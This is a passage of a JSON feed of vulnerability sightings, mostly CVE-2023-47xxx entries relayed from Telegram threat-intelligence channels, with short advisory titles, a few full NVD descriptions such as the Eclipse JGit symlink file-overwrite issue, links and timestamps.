"2024-01-23T22:27:08.000000Z"}, {"uuid": "e26c2aee-48a0-4af2-abce-bb2760e990ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47574", "type": "seen", "source": "https://t.me/ctinow/162872", "content": "https://ift.tt/iAa0RxM\nCVE-2023-47574 | Relyum RELY-PCIe/RELY-REC SMB Configuration signature verification", "creation_timestamp": "2024-01-04T10:11:18.000000Z"}, {"uuid": "d8852998-f6d2-47e4-8022-b07dfabd124c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47579", "type": "seen", "source": "https://t.me/ctinow/162871", "content": "https://ift.tt/NwzkJvA\nCVE-2023-47579 | Relyum RELY-PCIe 22.2.1 System Group Misconfiguration unknown vulnerability", "creation_timestamp": "2024-01-04T10:11:17.000000Z"}, {"uuid": "3362311d-cb1a-4f98-9c72-005ff5a52bbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4757", "type": "seen", "source": "https://t.me/ctinow/172239", "content": "https://ift.tt/BPSzt0i\nCVE-2023-4757 Exploit", "creation_timestamp": "2024-01-23T19:17:41.000000Z"}, {"uuid": "798ecafc-7ba4-4678-880e-481421943d93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47890", "type": "seen", "source": "https://t.me/ctinow/164645", "content": "https://ift.tt/yx0e381\nCVE-2023-47890", "creation_timestamp": "2024-01-08T21:26:51.000000Z"}, {"uuid": "de9d6a54-ffc8-42f5-8742-957afb20d538", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47577", "type": "seen", "source": "https://t.me/ctinow/162875", "content": "https://ift.tt/Lq7cld5\nCVE-2023-47577 | Relyum RELY-PCIe/RELY-REC 22.2.1/23.1.0 unverified password change", "creation_timestamp": "2024-01-04T10:11:22.000000Z"}, {"uuid": "768068de-2d4a-476a-b911-f34f2e45d8ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47576", "type": "seen", "source": "https://t.me/ctinow/162874", "content": "https://ift.tt/bBfLVFK\nCVE-2023-47576 | Relyum RELY-PCIe/RELY-REC Web Interface command injection", "creation_timestamp": "2024-01-04T10:11:21.000000Z"}, {"uuid": "329b38b9-08ba-4a05-aa5c-d07930411621", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47063", "type": "seen", "source": "https://t.me/ctinow/162860", "content": "https://ift.tt/yLtOeol\nCVE-2023-47063 | Adobe Illustrator 2023/Illustrator 2024 up to 27.9.0/28.0 out-of-bounds write (apsb23-68)", "creation_timestamp": "2024-01-04T09:41:50.000000Z"}, {"uuid": "0056b0a7-c085-49ce-be64-e3afc3e7868f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47075", "type": "seen", "source": "https://t.me/ctinow/162859", "content": "https://ift.tt/VISlDwX\nCVE-2023-47075 | Adobe Illustrator 2023/Illustrator 2024 up to 27.9.0/28.0 use after free (apsb23-68)", "creation_timestamp": "2024-01-04T09:41:49.000000Z"}, {"uuid": "6377482c-4881-405c-a7c3-51c0508d9eeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47996", "type": "seen", "source": "https://t.me/ctinow/165467", "content": "https://ift.tt/LPXMeiF\nCVE-2023-47996", "creation_timestamp": "2024-01-10T00:26:45.000000Z"}, {"uuid": "6a08e7bd-eba7-4eb4-9799-1d331bae451f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47995", "type": "seen", "source": "https://t.me/ctinow/165466", "content": "https://ift.tt/ZEaLMXk\nCVE-2023-47995", "creation_timestamp": "2024-01-10T00:26:44.000000Z"}, {"uuid": "d1af07e9-5cb0-467d-84cc-d6e60c594e8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47994", "type": "seen", "source": "https://t.me/ctinow/165465", "content": "https://ift.tt/H2xd1AR\nCVE-2023-47994", "creation_timestamp": "2024-01-10T00:26:43.000000Z"}, {"uuid": "8bf281ec-e986-4b44-ba8f-868c53f5e2cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47993", "type": "seen", "source": "https://t.me/ctinow/165464", "content": "https://ift.tt/4ckvR0a\nCVE-2023-47993", "creation_timestamp": "2024-01-10T00:26:42.000000Z"}, {"uuid": "a1e2da00-b033-456c-9485-81a3450a0627", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47992", "type": "seen", "source": "https://t.me/ctinow/165463", "content": "https://ift.tt/D0dbF34\nCVE-2023-47992", "creation_timestamp": "2024-01-10T00:26:41.000000Z"}, {"uuid": "71904373-1046-4d47-b493-3a2ce935ce53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47789", "type": "seen", "source": "https://t.me/ctinow/167170", "content": "https://ift.tt/xA0Ckgq\nCVE-2023-47789 | WooCommerce Canada Post Shipping Method Plugin up to 2.8.3 on WordPress cross-site request forgery", "creation_timestamp": "2024-01-12T10:06:43.000000Z"}, {"uuid": "4bb22c3c-8515-43aa-8569-cf3fa3424b85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47211", "type": "seen", "source": "https://t.me/ctinow/167533", "content": "https://ift.tt/qxcFpTy\nCVE-2023-47211 Exploit", "creation_timestamp": "2024-01-12T21:17:23.000000Z"}, {"uuid": "5dd0a9c2-ddb5-4205-9664-64cd7a47921d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47536", "type": "seen", "source": "https://t.me/ctinow/161831", "content": "https://ift.tt/AweRDtU\nCVE-2023-47536 | Fortinet FotiOS/FortiProxy Geolocalisation Policy access control (FG-IR-23-432)", "creation_timestamp": "2024-01-02T15:36:20.000000Z"}, {"uuid": "9a577aaf-880b-486a-a9e0-83c9f0d43072", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47882", "type": "seen", "source": "https://t.me/ctinow/165421", "content": "https://ift.tt/9syPI31\nCVE-2023-47882 Exploit", "creation_timestamp": "2024-01-09T23:17:26.000000Z"}, {"uuid": "231a85bb-f9bd-4342-9033-603858249df8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47883", "type": "seen", "source": "https://t.me/ctinow/165420", "content": "https://ift.tt/sr0xSk8\nCVE-2023-47883 Exploit", "creation_timestamp": "2024-01-09T23:17:25.000000Z"}, {"uuid": "325d8de8-3b33-49ac-839f-6f4f0b3df40d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47754", "type": "seen", "source": "https://t.me/ctinow/167271", "content": "https://ift.tt/gVQNHIe\nCVE-2023-47754 | Clever Plugins Delete Duplicate Posts Plugin up to 4.8.9 on WordPress authorization", "creation_timestamp": "2024-01-12T14:36:51.000000Z"}, {"uuid": "a037cb63-5c38-473e-8863-96c21c2e5331", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47106", "type": "seen", "source": "https://t.me/ctinow/158780", "content": "https://ift.tt/107UD9c\nCVE-2023-47106 | Traefik up to 2.10.5/3.0.0-beta4 input validation (GHSA-fvhj-4qfh-q2hm)", "creation_timestamp": "2023-12-23T11:41:47.000000Z"}, {"uuid": "6165e5e1-edfc-41f6-a4da-9fd555333616", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47465", "type": "seen", "source": "https://t.me/ctinow/161234", "content": "https://ift.tt/eohFJ2V\nCVE-2023-47465 | GPAC up to 2.2.1 box_code_base.c ctts_box_read denial of service (Issue 2652)", "creation_timestamp": "2024-01-01T08:56:55.000000Z"}, {"uuid": "a081f9b4-33fc-4f1f-b66d-9ee3a1956112", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47261", "type": "seen", "source": "https://t.me/ctinow/166403", "content": "https://ift.tt/T7LEG5a\nCVE-2023-47261 | Dokmee ECM 7.4.6 gettingstarted Privilege Escalation", "creation_timestamp": "2024-01-11T09:56:26.000000Z"}, {"uuid": "63614168-61e5-4b4e-8234-66c0ac6bd73d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47870", "type": "seen", "source": "https://t.me/ctinow/157621", "content": "https://ift.tt/jZ0S4wh\nCVE-2023-47870 | gVectors wpForo Forum Plugin up to 2.2.6 on WordPress cross-site request forgery", "creation_timestamp": "2023-12-21T11:37:04.000000Z"}, {"uuid": "27850345-a0c3-4451-8c27-b5339ebcf10e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47093", "type": "seen", "source": "https://t.me/ctinow/157441", "content": "https://ift.tt/u40v9qH\nCVE-2023-47093", "creation_timestamp": "2023-12-21T01:23:56.000000Z"}, {"uuid": "89fe8283-be5b-4956-84db-51eb73e67937", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47862", "type": "seen", "source": "https://t.me/ctinow/165983", "content": "https://ift.tt/ln5BTZ7\nCVE-2023-47862", "creation_timestamp": "2024-01-10T17:22:22.000000Z"}, {"uuid": "a9f41b14-079e-40fa-b9dc-7fa27c905061", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47473", "type": "seen", "source": "https://t.me/ctinow/166197", "content": "https://ift.tt/rv78iFA\nCVE-2023-47473 Exploit", "creation_timestamp": "2024-01-10T23:16:41.000000Z"}, {"uuid": "1a94e5e8-dc03-4ba2-a4a7-eed986c31ddd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47858", "type": "seen", "source": "https://t.me/ctinow/161682", "content": "https://ift.tt/13riI2Q\nCVE-2023-47858", "creation_timestamp": "2024-01-02T11:26:26.000000Z"}, {"uuid": "08244157-d88e-4096-838f-91d109614067", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47861", "type": "seen", "source": "https://t.me/ctinow/165982", "content": "https://ift.tt/lAfaCDh\nCVE-2023-47861", "creation_timestamp": "2024-01-10T17:22:21.000000Z"}, {"uuid": "dac51f9b-92a4-4b9b-9885-c25880484478", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47171", "type": "seen", "source": "https://t.me/ctinow/165981", "content": "https://ift.tt/vl9dPqy\nCVE-2023-47171", "creation_timestamp": "2024-01-10T17:22:19.000000Z"}, {"uuid": "7165f483-b7a3-44dc-b162-33cd50e456e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47619", "type": "seen", "source": "https://t.me/ctinow/165747", "content": "https://ift.tt/LeXtSQd\nCVE-2023-47619 | advplyr audiobookshelf up to 2.4.3 Update server-side request forgery (GHSL-2023-203)", "creation_timestamp": "2024-01-10T12:41:30.000000Z"}, {"uuid": "15620b2d-538f-4b93-9fb2-7583591fdd71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47145", "type": "seen", "source": "https://t.me/ctinow/164141", "content": "https://ift.tt/v0Eem1M\nCVE-2023-47145", "creation_timestamp": "2024-01-07T20:26:35.000000Z"}, {"uuid": "e506b61c-6460-49a6-bcea-af99c16a1344", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47840", "type": "seen", "source": "https://t.me/ctinow/160404", "content": "https://ift.tt/fZJ6IOT\nCVE-2023-47840", "creation_timestamp": "2023-12-29T10:26:40.000000Z"}, {"uuid": "67c3b5c5-b41d-4a15-8fc6-fd4ff39bd415", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47624", "type": "seen", "source": "https://t.me/ctinow/165761", "content": "https://ift.tt/xAcpZ7P\nCVE-2023-47624 | advplyr audiobookshelf up to 2.4.3 /hls path traversal (GHSL-2023-203)", "creation_timestamp": "2024-01-10T13:07:42.000000Z"}, {"uuid": "bfe708fe-4446-43a0-af7d-1d300b2eff70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47254", "type": "seen", "source": "https://t.me/ctinow/161238", "content": "https://ift.tt/8SQiKzU\nCVE-2023-47254 | DrayTek Vigor167 5.2.2 CLI os command injection (SYSS-2023-023)", "creation_timestamp": "2024-01-01T08:57:02.000000Z"}, {"uuid": "817c32fe-bd5c-4a4b-9bc3-77dfaaee4296", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47722", "type": "seen", "source": "https://t.me/ctinow/161224", "content": "https://ift.tt/ZBGaR9m\nCVE-2023-47722 | IBM API Connect 10.0.5.3/10.0.6.0 missing encryption (XFDB-271912)", "creation_timestamp": "2024-01-01T08:26:40.000000Z"}, {"uuid": "705bb840-7b83-4398-8a45-5e0e3279dae4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47857", "type": "seen", "source": "https://t.me/ctinow/161607", "content": "https://ift.tt/z62mDKO\nCVE-2023-47857", "creation_timestamp": "2024-01-02T09:26:17.000000Z"}, {"uuid": "fb64020e-e872-40d1-9517-a11a4fb43b17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47779", "type": "seen", "source": "https://t.me/ctinow/160904", "content": "https://ift.tt/3eaLI42\nCVE-2023-47779 | CRM Perks Integration for Constant Contact and Contact Form 7 Plugin redirect", "creation_timestamp": "2023-12-30T15:32:06.000000Z"}, {"uuid": "ad5b3c47-8f87-44d6-8071-c7564e22f8e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47997", "type": "seen", "source": "https://t.me/ctinow/165486", "content": "https://ift.tt/WXgMndS\nCVE-2023-47997", "creation_timestamp": "2024-01-10T01:26:50.000000Z"}, {"uuid": "a835a243-7003-4d61-8cdd-f290d0685215", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47216", "type": "seen", "source": "https://t.me/ctinow/161606", "content": "https://ift.tt/oQ3FqN1\nCVE-2023-47216", "creation_timestamp": "2024-01-02T09:26:16.000000Z"}, {"uuid": "5117b8c0-0397-4878-8b6c-69c8c49facbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4759", "type": "seen", "source": "https://t.me/cibsecurity/70260", "content": "\u203c CVE-2023-4759 \u203c\n\nArbitrary File Overwrite in Eclipse JGit &lt;= 6.6.0In Eclipse JGit, all versions &lt;= 6.6.0.202305301015-r, a symbolic link present in a specially crafted git repository can be used to write a file to locations outside the working tree when this repository is cloned with JGit to a case-insensitive filesystem, or when a checkout from a clone of such a repository is performed on a case-insensitive filesystem.This can happen on checkout (DirCacheCheckout), merge (ResolveMerger\u00c2\u00a0via its WorkingTreeUpdater), pull (PullCommand\u00c2\u00a0using merge), and when applying a patch (PatchApplier). This can be exploited for remote code execution (RCE), for instance if the file written outside the working tree is a git filter that gets executed on a subsequent git command.The issue occurs only on case-insensitive filesystems, like the default filesystems on Windows and macOS. The user performing the clone or checkout must have the rights to create symbolic links for the problem to occur, and symbolic links must be enabled in the git configuration.Setting git configuration option core.symlinks = false\u00c2\u00a0before checking out avoids the problem.The issue was fixed in Eclipse JGit version 6.6.1.202309021850-r and 6.7.0.202309050840-r, available via Maven Central https://repo1.maven.org/maven2/org/eclipse/jgit/ \u00c2\u00a0and repo.eclipse.org https://repo.eclipse.org/content/repositories/jgit-releases/ .The JGit maintainers would like to thank RyotaK for finding and reporting this issue.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-12T14:22:54.000000Z"}, {"uuid": "9c2e4b4d-b6ca-4cfb-adb8-360db32d0969", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47215", "type": "seen", "source": "https://t.me/ctinow/159285", "content": "https://ift.tt/4mRuV6K\nCVE-2023-47215", "creation_timestamp": "2023-12-26T09:26:54.000000Z"}, {"uuid": "fdcd8c08-3c84-45fa-b330-9b4e134381b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47565", "type": "seen", "source": "https://t.me/ctinow/161088", "content": "https://ift.tt/iyWCzfo\nCVE-2023-47565 | QNAP VioStor NVR 4.x os command injection (qsa-23-48)", "creation_timestamp": "2023-12-31T14:11:20.000000Z"}, {"uuid": "478018b2-ef8f-4ee3-b3ed-5a861317947f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47440", "type": "seen", "source": "https://t.me/ctinow/161008", "content": "https://ift.tt/THR03sU\nCVE-2023-47440 | Gladys Assistant up to 4.27.0 Incomplete Fix CVE-2023-43256 path traversal", "creation_timestamp": "2023-12-31T08:46:53.000000Z"}, {"uuid": "d926ad4d-7d21-4af0-90a5-e08550e594c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47453", "type": "seen", "source": "https://t.me/ctinow/157740", "content": "https://ift.tt/UGK6aLF\nCVE-2023-47453 | Sohu Video Player 7.0.15.0 version.dll untrusted search path", "creation_timestamp": "2023-12-21T15:11:41.000000Z"}, {"uuid": "3b32ff20-167f-46c5-8368-4ae23c342828", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47844", "type": "seen", "source": "https://t.me/ctinow/157623", "content": "https://ift.tt/3Uf5oRQ\nCVE-2023-47844 | Lim Kai Yang Grab &amp; Save Plugin up to 1.0.4 on WordPress cross site scripting", "creation_timestamp": "2023-12-21T11:37:06.000000Z"}, {"uuid": "ea14b70d-ecbe-4055-bf25-73ae25fa7702", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47548", "type": "seen", "source": "https://t.me/ctinow/160906", "content": "https://ift.tt/CUZPGiS\nCVE-2023-47548 | SoftLab Integrate Google Drive Plugin up to 1.3.2 on WordPress redirect", "creation_timestamp": "2023-12-30T15:32:08.000000Z"}, {"uuid": "68718a00-204e-4dcb-b066-b3a0095dece9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4777", "type": "seen", "source": "https://t.me/cibsecurity/70138", "content": "\u203c CVE-2023-4777 \u203c\n\nAn incorrect permission check in Qualys Container Scanning Connector Plugin 1.6.2.6 and earlier allows attackers with global Item/Configure permission (while lacking Item/Configure permission on any particular job) to enumerate credentials IDs of credentials stored in Jenkins and to connect to an attacker-specified URL using attacker-specified credentials IDs, capturing credentials stored in Jenkins.\u00c2\u00a0\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-08T12:19:25.000000Z"}, {"uuid": "3519cf40-0e89-4be7-bfa3-458aa6afecee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47883", "type": "seen", "source": "https://t.me/ctinow/159799", "content": "https://ift.tt/AJi974V\nCVE-2023-47883", "creation_timestamp": "2023-12-27T22:26:23.000000Z"}, {"uuid": "63c3426f-cf87-4b23-b268-15cc519aed09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47882", "type": "seen", "source": "https://t.me/ctinow/159798", "content": "https://ift.tt/6KLnqrb\nCVE-2023-47882", "creation_timestamp": "2023-12-27T22:26:22.000000Z"}, {"uuid": "c0af7445-474a-44a2-9a50-8b331f1c344d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4778", "type": "seen", "source": "https://t.me/cibsecurity/69868", "content": "\u203c CVE-2023-4778 \u203c\n\nOut-of-bounds Read in GitHub repository gpac/gpac prior to 2.3-DEV.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-05T20:17:16.000000Z"}, {"uuid": "e6b580f3-0edb-4c16-9d83-330da5158642", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47804", "type": "seen", "source": "https://t.me/ctinow/160569", "content": "https://ift.tt/V9HNcqr\nCVE-2023-47804", "creation_timestamp": "2023-12-29T16:26:35.000000Z"}, {"uuid": "751f9d49-583a-4f3f-aafb-35313eb30ac8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47265", "type": "seen", "source": "https://t.me/ctinow/157611", "content": "https://ift.tt/w47DbkJ\nCVE-2023-47265", "creation_timestamp": "2023-12-21T11:22:19.000000Z"}, {"uuid": "259f4964-9be8-46f5-926e-09b55e34c7d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47877", "type": "seen", "source": "https://t.me/ctinow/157605", "content": "https://ift.tt/CrORd1s\nCVE-2023-47877 | Perfmatters Plugin up to 2.1.x on WordPress cross site scripting", "creation_timestamp": "2023-12-21T11:08:01.000000Z"}, {"uuid": "d526be48-3eb2-485c-b7c5-3596a726ca8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47062", "type": "seen", "source": "https://t.me/ctinow/164038", "content": "https://ift.tt/NGuEcjs\nCVE-2023-47062 | Adobe Dimension up to 3.4.10 out-of-bounds (apsb23-71)", "creation_timestamp": "2024-01-07T02:06:16.000000Z"}, {"uuid": "30f577d5-ec86-4d20-83f7-4a8f8922dbaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47061", "type": "seen", "source": "https://t.me/ctinow/164037", "content": "https://ift.tt/3EqZFBx\nCVE-2023-47061 | Adobe Dimension up to 3.4.10 out-of-bounds (apsb23-71)", "creation_timestamp": "2024-01-07T02:06:15.000000Z"}, {"uuid": "1d9733c4-fab6-4fb0-8efb-0e429b5c5005", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47079", "type": "seen", "source": "https://t.me/ctinow/164035", "content": "https://ift.tt/m1CiFcu\nCVE-2023-47079 | Adobe Dimension up to 3.4.10 out-of-bounds (apsb23-71)", "creation_timestamp": "2024-01-07T01:36:23.000000Z"}, {"uuid": "103320df-f54b-4f4e-9218-8cafdd28b68e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47078", "type": "seen", "source": "https://t.me/ctinow/164034", "content": "https://ift.tt/zEwL5hW\nCVE-2023-47078 | Adobe Dimension up to 3.4.10 out-of-bounds (apsb23-71)", "creation_timestamp": "2024-01-07T01:36:22.000000Z"}, {"uuid": "b5fb4f25-4243-4538-bace-588d44d58079", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47990", "type": "seen", "source": "https://t.me/ctinow/159816", "content": "https://ift.tt/MsAcNYu\nCVE-2023-47990 Exploit", "creation_timestamp": "2023-12-27T23:17:12.000000Z"}, {"uuid": "6b5127cf-3519-4283-8827-18cb14d000fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47100", "type": "seen", "source": "https://t.me/ctinow/158266", "content": "https://ift.tt/D4JrRaQ\nCVE-2023-47100 | Perl up to 5.38.1 Regular Expression regcomp.c S_parse_uniprop_string memory corruption", "creation_timestamp": "2023-12-22T09:22:19.000000Z"}, {"uuid": "a83c6e93-626b-4ed4-a933-8c2be920938c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47701", "type": "seen", "source": "https://t.me/ctinow/158730", "content": "https://ift.tt/Gi6KbP1\nCVE-2023-47701 | IBM DB2/DB2 Connect Server 10.5/11.1/11.5 Query denial of service (XFDB-266166)", "creation_timestamp": "2023-12-23T08:38:45.000000Z"}, {"uuid": "a1db278e-3f23-4b7f-90bc-d59e85c7c502", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47247", "type": "seen", "source": "https://t.me/ctinow/159164", "content": "https://ift.tt/xXVpAJb\nCVE-2023-47247", "creation_timestamp": "2023-12-25T08:26:29.000000Z"}, {"uuid": "71d3fb72-ffd3-49f5-bdfd-36a2b9087b07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47091", "type": "seen", "source": "https://t.me/ctinow/159163", "content": "https://ift.tt/TOImJat\nCVE-2023-47091", "creation_timestamp": "2023-12-25T08:26:28.000000Z"}, {"uuid": "20634083-f8fe-475f-9857-d07d3010d93f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 